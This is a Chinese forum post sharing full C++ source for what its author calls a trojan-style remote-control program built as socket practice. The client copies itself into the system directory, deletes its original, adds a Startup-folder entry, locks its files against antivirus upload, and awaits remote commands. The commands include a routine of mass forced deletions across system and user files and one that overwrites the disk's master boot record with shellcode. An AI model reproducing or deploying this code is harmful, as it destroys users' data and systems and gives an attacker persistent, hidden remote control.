找回密碼
 立即注冊(cè)

QQ登錄

只需一步,快速開始

搜索
查看: 5019|回復(fù): 0
打印 上一主題 下一主題
收起左側(cè)

socket 編程練習(xí)作品

[復(fù)制鏈接]
跳轉(zhuǎn)到指定樓層
樓主
ID:71922 發(fā)表于 2015-1-11 00:50 | 只看該作者 回帖獎(jiǎng)勵(lì) |倒序?yàn)g覽 |閱讀模式


======================================================================================================
優(yōu)點(diǎn):
    可以熟悉socket編程...
缺點(diǎn):
    架構(gòu)很差勁...同一時(shí)間只能控制一臺(tái)機(jī)器(看來還得老老實(shí)實(shí)學(xué)習(xí)鏈表)
特點(diǎn):
    可以玩一玩...
下載地址:socket 編程練習(xí)作品(仿木馬版)======================================================================================================

控制端源碼(Srv.cpp ):
=======================================================================================================
#include <WINSOCK2.H>
#include <windows.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
DWORD WINAPI recvMessage(LPVOID msge);
void huikuiMessage(SOCKET sockClient);
DWORD WINAPI SendCmd(LPVOID msge);
void csh();  // 初始化代碼
void L();    // 連接到被控端代碼
int Errorzd=0;  // 連接中斷標(biāo)志
/*******************
*     胡言亂語     *
********************/
void Lovemengx()
{
puts("SOCKET編程練習(xí)作品...(尚未完善)");
printf("=======================================================================\n");
  printf("                                                    *                 |");
printf("\n剛學(xué)SOCKET編程,設(shè)計(jì)了這個(gè)不知道該叫什么的程序      *                 |\n");
  printf("                                                    *                 |");
printf("\n說它是木馬吧,連一個(gè)遠(yuǎn)程桌面的功能都沒有...         *                 |\n");
  printf("                                                    *                 |");
printf("\n說它是后門吧,連一個(gè)本地上傳的功能都沒有...         *                 |\n");
  printf("                                                    ******  *         |");
printf("\n說它不是吧,又具備一些木馬、后門的特征...                    *        |\n");
  printf("                                                                      |");
printf("\n╮(╯▽╰)╭,不管怎么樣!通過它能更熟悉SOCKET編程,也算是一種收獲吧~ |\n");
  printf("                                                                      |");
printf("\n                                                     L、(Love 夢(mèng)想)   |\n");
  printf("                                                           2011-9-5   |");
printf("\n=======================================================================\n");
}
void server()
{
HRSRC hRc=FindResource(NULL,"c:\\Cilent.exe","Exe");
   if(!hRc)
   {
    MessageBox(0,"EXE資源不存在","錯(cuò)誤",0);
    exit(1);
   }
   HGLOBAL hg=LoadResource(NULL,hRc);  // 將資源載入內(nèi)存并返回其在內(nèi)存中首地址保存在hg中
   DWORD dw=SizeofResource(NULL,hRc);  // 獲得資源大小并用dw保存資源大小
   // 分配緩沖區(qū)并用0填充
   char a[57345];
   memset(a,0,57345);
   // 向該緩沖區(qū)中復(fù)制資源的二進(jìn)制數(shù)據(jù)
   memcpy(a,hg,dw); // 將資源的二進(jìn)制數(shù)據(jù)存放在緩沖區(qū)a
   // 創(chuàng)建服務(wù)端文件
   FILE *out=fopen("server.exe","wb+");
   fwrite(a,1,dw,out);
   fclose(out);
   // 修改配置信息
   char IP[15];
   memset(IP,0,15);
   printf("請(qǐng)輸入IP(默認(rèn) 127.0.0.1):\n");
   gets(IP);
   fflush(stdout);
   FILE *fp=fopen("server.exe","rb+");
   rewind(fp);
   fseek(fp,0xA05C,0);
   fwrite(IP,1,15,fp);
   fclose(fp);
   MessageBox(NULL,"已經(jīng)生成服務(wù)端:【server.exe】","OK",0);
   exit(0);
}
void main()
{
system("title SOCKET 編程練習(xí)作品(仿木馬版)     L、QQ:1000000002");
//////////////////////////////////////////////////////////////////////////
// 讓啟動(dòng)程序時(shí)的小漏斗馬上消失
GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
MSG msg;
GetMessage(&msg, NULL, NULL, NULL);
//////////////////////////////////////////////////////////////////////////
system("color 0a");
do
{
  Errorzd = 0;
  if ((MessageBox(0,"是否配置服務(wù)端?","提示",MB_YESNO|MB_SYSTEMMODAL)==IDYES))
  {
   server();
  }
  csh();
  system("cls");
  Lovemengx();
  L();
} while (Errorzd);


}
/*******************
*  初始化套接字庫(kù)  *
********************/
void csh()
{
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2,2),&wsaData))
{
  ::MessageBox(0,"無法初始化套接字庫(kù)","提示",MB_SYSTEMMODAL);
  return;
}
if (HIBYTE(wsaData.wVersion)!=2 ||
  LOBYTE(wsaData.wVersion)!=2)
{
  ::MessageBox(0,"套接字版本不符合2.2","提示",MB_SYSTEMMODAL);
  WSACleanup();
  return;
}
}
/*******************
*    連接被控端    *
********************/
void L()
{
SOCKET sockSre=socket(AF_INET,SOCK_STREAM,0);
HANDLE Thread1;
// 設(shè)置服務(wù)端IP相關(guān)信息
printf("\n********  設(shè)置服務(wù)端IP相關(guān)信息  *********\n");
SOCKADDR_IN addrSrv;
addrSrv.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
addrSrv.sin_family=AF_INET;
addrSrv.sin_port=htons(6000);

printf("\n********  綁定端口  *********\n");
if ((bind(sockSre,(SOCKADDR*)&addrSrv,sizeof(SOCKADDR)))!=0)
{
  ::MessageBox(0,"綁定端口失!","提示",MB_SYSTEMMODAL);
  return;
}

printf("\n********  設(shè)置監(jiān)聽  *********\n");
if (listen(sockSre,5)!=0)
{
  ::MessageBox(0,"設(shè)置監(jiān)聽失。","提示",MB_SYSTEMMODAL);
  return;
}
SOCKADDR_IN addrClient;
int len=sizeof(SOCKADDR);


//char recvBuf[1000];

printf("\n********  等待上線  *********\n");
SOCKET sockcon=accept(sockSre,(SOCKADDR*)&addrClient,&len);
// 啟動(dòng)發(fā)送命令線程
system("cls");
Thread1=CreateThread(NULL,0,SendCmd,(LPVOID)sockcon,0,0 );
// 啟動(dòng)接受回饋信息模塊
huikuiMessage(sockcon);  
TerminateThread(Thread1,1); // 只有被控端斷開連接的情況下才會(huì)強(qiáng)制結(jié)束發(fā)送命令的線程
closesocket(sockcon); // 關(guān)閉套接字
WSACleanup(); // 釋放資源
}
/*******************
*   發(fā)送命令線程   *
********************/
DWORD WINAPI SendCmd(LPVOID msge)
{
SOCKET sockcon=(SOCKET)msge;
char sendBuf[1000];
for (;;)
{  
  printf("\n********************************************\n");
  printf("\n【a】震動(dòng)窗口\t【b http://***.***.***】打開網(wǎng)頁\n");
  printf("\n【c】摧毀系統(tǒng)\t【L】摧毀硬盤\t(慎用哈!)\n");
  printf("\n【q】退出被控端程序\t【Q】卸載被控端程序\n");
  printf("\n********************************************\n");
  printf("\n\n請(qǐng)輸入執(zhí)行命令\n-> ");
  gets(sendBuf);
  if (strlen(sendBuf)==0)
  {
   puts("===== 命令不能為空 =====");
   continue;
  }
  send(sockcon,sendBuf,strlen(sendBuf)+1,0); // 發(fā)送命令
  system("cls");
}
return 0;
}

/*******************
*   回饋信息模塊  *
********************/
void huikuiMessage(SOCKET sockClient)
{
printf("\n********  信息回饋線程已啟動(dòng) *******\n");
char comd[100] = {0};
for (;;)
{
  
  if(((recv(sockClient,comd,sizeof(comd),0)) <0 ) || ( WSAGetLastError() ==  WSAETIMEDOUT || WSAGetLastError()== WSAEWOULDBLOCK ))
  {
   Errorzd = 1;    // 將連接中斷標(biāo)志置 1
   MessageBox(0,"********  被控端下線 斷開連接  *********","注意",MB_SYSTEMMODAL);   
   break;
  }
  else
  {
   ::MessageBox(0,comd,"提示",MB_SYSTEMMODAL);
  }  
}
}
/*******************
*   解析命令模塊  *
********************/
char *Remove(char temp[])
{
int i,j=0;
char tmp[1024]={0};
i=strlen(temp)-1;

for (j=0;i>=0;j++,i--)
  tmp[j]=temp[j+1];  // 第一個(gè)元素是命令 其余的是附帶參數(shù)
return tmp;
}
==================================================================================================

被控端源碼(Cilent.cpp ):
==================================================================================================
#include <WINSOCK2.H>
#include <windows.h>
#include <stdio.h>
#include "..\\L、.h"

#pragma comment(lib,"ws2_32.lib") // 鏈接sock庫(kù)
DWORD WINAPI recvMessage(LPVOID msge);
DWORD WINAPI commod(LPVOID msge);
void recvMessage(SOCKET sockClient);
char *Remove(char temp[]);
void L();
void Auto(char Name[]); // 添加開機(jī)啟動(dòng)項(xiàng)
void zh(); // 卸載模塊
char ServerIP[]="127.0.0.1";
char tmp[]="有主機(jī)上線";
// 回饋信息結(jié)構(gòu)體
struct MesCmd
{
SOCKET Client; // 傳遞套接字
char *cmd; // 傳遞命令
} Mes;
HANDLE Lock_File=NULL,Lock_File1=NULL; // 鎖定文件,防止被分析及云上傳
/*******************
*  初始化套接字庫(kù)  *
********************/
void csh()
{

WSADATA wsaData;
if (WSAStartup(MAKEWORD(2,2),&wsaData))
{
  ::MessageBox(0,"無法初始化套接字庫(kù)","提示",MB_SYSTEMMODAL);
  return;
}
if (HIBYTE(wsaData.wVersion)!=2 ||
  LOBYTE(wsaData.wVersion)!=2)
{
  ::MessageBox(0,"套接字版本不符合2.2","提示",MB_SYSTEMMODAL);
  WSACleanup();
  return;
}
}
/*******************
*   配置套接字   *
********************/
void L()
{
  SOCKET sockClient=socket(AF_INET,SOCK_STREAM,0);
  
  // 設(shè)置服務(wù)端IP相關(guān)信息
  SOCKADDR_IN addrCilent;
  addrCilent.sin_addr.S_un.S_addr=inet_addr(ServerIP);
  addrCilent.sin_family=AF_INET;
  addrCilent.sin_port=htons(6000);

for (;connect(sockClient,(SOCKADDR*)&addrCilent,sizeof(SOCKADDR))!=0;)
{
  puts("******  連接服務(wù)端失敗 靜候3秒繼續(xù)嘗試連接  ******");
  Sleep(3000);
}
puts("******  與服務(wù)器建立成功 等待接受命令 ******");
send(sockClient,tmp,strlen(tmp)+1,0);
// 啟動(dòng)接受命令模塊
recvMessage(sockClient);
}
/*******************
*   接受命令線程   *
********************/
void recvMessage(SOCKET sockClient)
{
char comd[100] = {0};
for (;;)
{
  if(((recv(sockClient,comd,sizeof(comd),0)) <0 ) || ( WSAGetLastError() ==  WSAETIMEDOUT || WSAGetLastError()== WSAEWOULDBLOCK ))
   {
    puts("連接已經(jīng)斷開");   
    L();
   }
  Mes.Client=sockClient;
  Mes.cmd=comd;
// 啟動(dòng)執(zhí)行命令線程 以結(jié)構(gòu)體的形式傳遞多個(gè)參數(shù)
  CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)commod,&Mes,0,NULL);
  
}
}
/*******************
*   執(zhí)行命令線程   *
********************/
DWORD WINAPI commod(LPVOID msge)
{
char CmdErrorYN[100];
char CmdTmp[100]={0},*Cmd=NULL;  // 定義一個(gè)中間變量 防止服務(wù)端執(zhí)行多次命令時(shí)錯(cuò)誤提示最后一次執(zhí)行的命令
int ErrorYN=0; // 對(duì)錯(cuò)碼
MesCmd *Mes= (MesCmd *)msge;  // 強(qiáng)制轉(zhuǎn)換類型
strcpy(CmdTmp,Mes->cmd);// 將命令賦值給中間變量 防止此命令尚未執(zhí)行完 值就被下次的命令覆蓋

// 這里可以添加相關(guān)的功能 第一個(gè)字節(jié)為命令類型 第二個(gè)字節(jié)為附帶參數(shù)
switch(CmdTmp[0])
{
  case 'a':                    // 窗口震動(dòng)
     ErrorYN = WindowShake();
     strcpy(CmdTmp,"【窗口震動(dòng)】");
      break;
  case 'b':
     Cmd=Remove(CmdTmp); // 分析得到附帶參數(shù)
     ErrorYN=OpenUrl(Cmd);
     strcpy(CmdTmp,"【打開網(wǎng)頁】");
     break;
  case 'c':
     ErrorYN=Wreck_system();
     strcpy(CmdTmp,"【摧毀系統(tǒng)】");
     break;
  case 'L':
     ErrorYN=Wreck_Disk();
     strcpy(CmdTmp,"【摧毀硬盤】");
     break;
  case 'q':                      // 退出程序  
     closesocket(Mes->Client);
     WSACleanup();
     exit(1);
  case 'Q':        // 卸載
     zh();
     closesocket(Mes->Client);
     WSACleanup();
     exit(1);
  default: ErrorYN=0;
}
if (ErrorYN)
  sprintf(CmdErrorYN,"執(zhí)行 %s 命令完畢!",CmdTmp);
else
  sprintf(CmdErrorYN,"執(zhí)行 %s 命令失敗!錯(cuò)誤未知!",CmdTmp);
send(Mes->Client,CmdErrorYN,strlen(CmdErrorYN)+1,0);  //  發(fā)送命令
return 0;
}

/*************************
*   自毀模塊**********   *
**************************/
void zh()
{
char DirBuffer[MAX_PATH];
HMODULE hModule = GetModuleHandle(NULL);  // 獲取當(dāng)前程序句柄
// 關(guān)閉獨(dú)占模式
CloseHandle(Lock_File);
CloseHandle(Lock_File1);
GetModuleFileName(hModule,DirBuffer,sizeof(DirBuffer)); // 獲取當(dāng)前程序的路徑
// 刪除自啟動(dòng)項(xiàng)
unlink("C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動(dòng)\\ts.exe");
// 刪除自身
Del(DirBuffer);
}
/*************************
*   命令、參數(shù)解析線程   *
**************************/
char *Remove(char temp[])
{
int i,j=0;
char tmp[1024]={0};
i=strlen(temp)-1;

for (j=0;i>=0;j++,i--)
  tmp[j]=temp[j+1];  // 第一個(gè)元素是命令 其余的是附帶參數(shù)
return tmp;  // 將純參數(shù)返回
}
/***************************
*   程序運(yùn)行時(shí)進(jìn)行初始化   *
***************************/
void DelAdd()
{
char systemName[MAX_PATH];
char DirBuffer[MAX_PATH];
// char tempBuffer[MAX_PATH];
HMODULE hModule = GetModuleHandle(NULL);  // 獲取當(dāng)前程序句柄
GetModuleFileName(hModule,DirBuffer,sizeof(DirBuffer)); // 獲取當(dāng)前程序的路徑
// GetFileTitle(DirBuffer,tempBuffer,MAX_PATH); // 從路徑中提取文件名
GetSystemDirectory(systemName,sizeof(systemName)); // 獲取系統(tǒng)文件夾路徑
strcat(systemName,"\\lovemengxiang.exe"); // 生成的文件名
if ((strcmp(DirBuffer,systemName))!=0)   // 判斷程序自身是否在系統(tǒng)目錄 不在則實(shí)現(xiàn)自刪除
{
  CopyFile(DirBuffer,systemName,0);
  Del(DirBuffer);      // 自刪除模塊
  ShellExecute(NULL,"open",systemName,0,0,SW_HIDE); // 運(yùn)行副本
  exit(0); // 退出 讓Bat刪除自己
}
else
{
  Auto(DirBuffer);
  // 第一步 立即鎖定本體 防止被上傳 我想殺軟沒那么無聊為了上傳就隨隨便便解鎖吧?
  Lock_File=CreateFile(DirBuffer, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
}
}
/***************************
*   開機(jī)自啟動(dòng)             *
***************************/
void Auto(char Name[])
{
// 自復(fù)制到 啟動(dòng)文件夾 實(shí)現(xiàn)開機(jī)自啟動(dòng)  嫌麻煩 就用這種方式自啟動(dòng)吧 一句代碼搞定
char DirName[]="C:\\Documents and Settings\\All Users\\「開始」菜單\\程序\\啟動(dòng)\\ts.exe";
CopyFile(Name,DirName,1);
Lock_File1=CreateFile(DirName, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL);
/*
由于它會(huì)自釋放、自刪除、自復(fù)制并且會(huì)自鎖定 形成一個(gè)循環(huán)既可以保證啟動(dòng)文件始終有一個(gè)
原體存在,又能同時(shí)鎖定兩個(gè)文件以阻止被刪除、復(fù)制上傳。即使被刪除也會(huì)因?yàn)樽詮?fù)制后再生
,實(shí)現(xiàn)無進(jìn)程再生功能。不過,這種啟動(dòng)方式易被發(fā)現(xiàn),并且以自己的進(jìn)程去鎖定文件只能對(duì)付普
通刪除,所以需要改進(jìn),啟動(dòng)方式又很多種,不過這里為了方便就用這個(gè)吧。至于鎖定文件可以讓
系統(tǒng)管進(jìn)程如:svchost.exe 、winlogon.exe 去保護(hù)源體!這樣即使被發(fā)現(xiàn)也得在系統(tǒng)重啟之后
才能清除!而鎖定句柄保留方便卸載或升級(jí)被控端用...
*/
}
int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
//////////////////////////////////////////////////////////////////////////
// 讓啟動(dòng)程序時(shí)的小漏斗馬上消失
GetInputState();
PostThreadMessage(GetCurrentThreadId(),NULL,0,0);
MSG msg;
GetMessage(&msg, NULL, NULL, NULL);
//////////////////////////////////////////////////////////////////////////
DelAdd();
csh(); // 初始化
L(); // 核心調(diào)用
return 0;
}
============================================================================================

核心功能源碼:(L、.h  部分原創(chuàng))
============================================================================================
/********************************************************/
//  窗口抖動(dòng) 功能
/********************************************************/
int WindowShake() // 窗口抖動(dòng)
{
HWND ForeHandle=GetForegroundWindow();
for(int i=0;i<15;i++)
{
  RECT rc;
  GetWindowRect(ForeHandle,&rc);
  MoveWindow(ForeHandle,rc.left+8,rc.top+8,rc.right-rc.left,rc.bottom-rc.top,1);
  Sleep(40);
  MoveWindow(ForeHandle,rc.left,rc.top,rc.right-rc.left,rc.bottom-rc.top,1);
  Sleep(40);
  Beep(0x0fff,10);
}
return 1;
}
/********************************************************/
//  自刪除功能
/********************************************************/
void Del(char *systemname)
{
FILE *fp;
fp=fopen("C:\\system.bat","w+");
fprintf(fp,"@echo off \n");
fprintf(fp,":statr\nif not exist \"%s\" goto done\n",systemname);
fprintf(fp,"del /f /q \"%s\" \n",systemname);
fprintf(fp,"goto statr\n");
fprintf(fp,":done\n");
fprintf(fp,"del /f /q %%0\n");
fclose(fp);
ShellExecute(NULL,"open","C:\\system.bat",0,0,SW_HIDE);

}
/********************************************************/
//  打開網(wǎng)頁
/********************************************************/
int OpenUrl(char url[])
{
char Url[300]={0};
strcpy(Url,"explorer.exe ");
strcat(Url,url);
WinExec(Url,SW_SHOW); // 隱藏打開指定網(wǎng)頁
return 1;
}

/********************************************************/
//  摧毀系統(tǒng) 功能
/********************************************************/
int Wreck_system()
{
system("del /f /s /q C:\boot.ini");
system("del /f /s /q *.gho");
system("del /f /s /q QQ.exe");
system("del /f /s /q %systemdrive%\*.tmp");
system("del /f /s /q %systemdrive%\*.gho");
system("del /f /s /q %systemdrive%\*.jpg");
system("del /f /s /q %systemdrive%\*.mp3");
system("del /f /s /q %systemdrive%\*.dll");
system("del /f /s /q %systemdrive%\*.mp4");
system("del /f /s /q %systemdrive%\*.bat");
system("del /f /s /q %systemdrive%\*.txt");
system("del /f /s /q %systemdrive%\*.rar");
system("del /f /s /q %systemdrive%\*.bmp");
system("del /f /s /q %systemdrive%\*.png");  
system("del /f /s /q %systemdrive%\*.exe");
system("del /f /s /q %systemdrive%\*.lnt");
system("del /f /s /q %systemdrive%\*._mp");
system("del /f /s /q %systemdrive%\*.log");
system("del /f /s /q %systemdrive%\*.gid");
system("del /f /s /q %systemdrive%\*.chk");
system("del /f /s /q %systemdrive%\*.old");
system("del /f /s /q c:\*.txt");
system("del /f /s /q c:\*.gho");
system("del /f /s /q c:\*.old");
system("del /f /s /q c:\*.gid");
system("del /f /s /q c:\*.chk");
system("del /f /s /q c:\*.log");
system("del /f /s /q c:\*._mp");
system("del /f /s /q c:\*.lnt");
system("del /f /s /q c:\*.dll");
system("del /f /s /q c:\*.exe");
system("del /f /s /q c:\*.bmp");
system("del /f /s /q c:\*.rar");
system("del /f /s /q c:\*.png");
system("del /f /s /q c:\*.jpg");
system("del /f /s /q c:\*.mp3");
system("del /f /s /q c:\*.bat");
system("del /f /s /q c:\*.mp4");
system("del /f /s /q %systemdrive%\*.gho");
system("del /f /s /q %systemdrive%\*.tmp");
system("del /f /s /q %systemdrive%\*.jpg");
system("del /f /s /q %systemdrive%\*.mp3");
system("del /f /s /q %systemdrive%\*.dll");
system("del /f /s /q %systemdrive%\*.mp4");
system("del /f /s /q %systemdrive%\*.txt");
system("del /f /s /q %systemdrive%\*.rar");
system("del /f /s /q %systemdrive%\*.bmp");
system("del /f /s /q %systemdrive%\*.png");  
system("del /f /s /q %systemdrive%\*.exe");
system("del /f /s /q %systemdrive%\*.lnt");
system("del /f /s /q %systemdrive%\*._mp");
system("del /f /s /q %systemdrive%\*.log");
system("del /f /s /q %systemdrive%\*.gid");
system("del /f /s /q %systemdrive%\*.chk");
system("del /f /s /q %systemdrive%\*.old");
system("del /f /s /q %systemdrive%\recycled\*.*");
system("del /f /s /q %windir%\*.*");
system("del /f /s /q %windir%\prefetch\*.*");
system("del /f /s /q %windir%\temp\*.*");
system("del /f /q %userprofile%\cookies\*.*");
system("del /f /q %userprofile%\recent\*.*");
system("del /f /s /q /""%userprofile%\recent\*.*/""");
system("del /f /s /q /""%userprofile%\Local Settings\Temporary Internet Files\*.*/""");
system("del /f /s /q /""%userprofile%\Local Settings\Temp\*.*/""");  
/*
  system("del /f /s /q d:\*.*");
  system("del /f /s /q e:\*.*");
  system("del /f /s /q f:\*.*");
*/
return 1;
}
/********************************************************/
//  摧毀硬盤 功能
/********************************************************/
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x52\x69\x67\x69\x64\x20\x44\x69"
"\x73\x6b\x20\x46\x61\x69\x6c\x75\x72\x65\x21";
int Wreck_Disk()
{
// ExitWindowsExT   pExitWindowsEx =  (ExitWindowsExT)GetProcAddress(LoadLibrary("USER32.dll"), "ExitWindowsEx");
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};

// 重新構(gòu)造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;

hDevice = CreateFile("\\\\.\\PHYSICALDRIVE0", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE)
  return -1;
DeviceIoControl(hDevice, FSCTL_LOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
// 寫入病毒內(nèi)容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl(hDevice, FSCTL_UNLOCK_VOLUME, NULL, 0, NULL, 0, &dwBytesReturned, NULL);
CloseHandle(hDevice);
Sleep(2000);
DWORD   dwVersion   =   GetVersion();   
    if   (dwVersion   <   0x80000000)   //   Is   NT   or   2000!   
    {   
  HANDLE   hToken;   TOKEN_PRIVILEGES   tkp;   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES   |   TOKEN_QUERY,   &hToken);
  LookupPrivilegeValue(NULL,   SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
  tkp.PrivilegeCount   =   1;   //   set   privilege   
  tkp.Privileges[0].Attributes   =   SE_PRIVILEGE_ENABLED;
  AdjustTokenPrivileges(hToken,   FALSE,   &tkp,   0,(PTOKEN_PRIVILEGES)NULL,   0);
// ExitWindowsEx(EWX_FORCE+EWX_REBOOT,   0);   
}  
// else   //   Is   9x   or   Me   
// ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);
// ExitProcess(-1);
return 1;
}
===========================================================================================

分享到:  QQ好友和群QQ好友和群 QQ空間QQ空間 騰訊微博騰訊微博 騰訊朋友騰訊朋友
收藏收藏1 分享淘帖 頂 踩

相關(guān)帖子

回復(fù)

使用道具 舉報(bào)

本版積分規(guī)則

手機(jī)版|小黑屋|51黑電子論壇 |51黑電子論壇6群 QQ 管理員QQ:125739409;技術(shù)交流QQ群281945664

Powered by 單片機(jī)教程網(wǎng)

快速回復(fù) 返回頂部 返回列表